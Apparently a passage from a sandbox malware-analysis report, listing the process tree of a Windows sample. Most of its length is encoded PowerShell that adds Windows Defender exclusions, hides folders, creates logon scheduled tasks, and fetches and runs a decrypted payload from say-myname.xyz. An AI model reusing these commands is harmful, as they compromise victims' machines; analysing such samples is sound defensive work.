FIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHMAYQB5AC0AbQB5AG4AYQBtAGUALgB4AHkAegA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:444
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:4916
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:1428
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:1672
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:2916
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:4760
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:2136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4908
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHMAYQB5AC0AbQB5AG4AYQBtAGUALgB4AHkAegA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2044
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:1104
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:3892
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:1452
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:3596
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:4120
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:3084
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2012
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1984
      - C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
        6⤵
        Executes dropped EXE
        
        PID:4172
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:4512
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2400
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
      4⤵
      PID:1776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1136
- C:\Users\Admin\AppData\Local\Temp\Files\live-013-0512.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\live-013-0512.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\Admin\AppData\Roaming\ahk.zip" -C "C:\Users\Admin\AppData\Roaming"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\system32\tar.exe
      tar -xf "C:\Users\Admin\AppData\Roaming\ahk.zip" -C "C:\Users\Admin\AppData\Roaming"
      4⤵
      PID:4108
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C del C:\Users\Admin\AppData\Roaming\ahk.zip
    3⤵
    PID:5048
- - C:\Windows\System32\cmd.exe
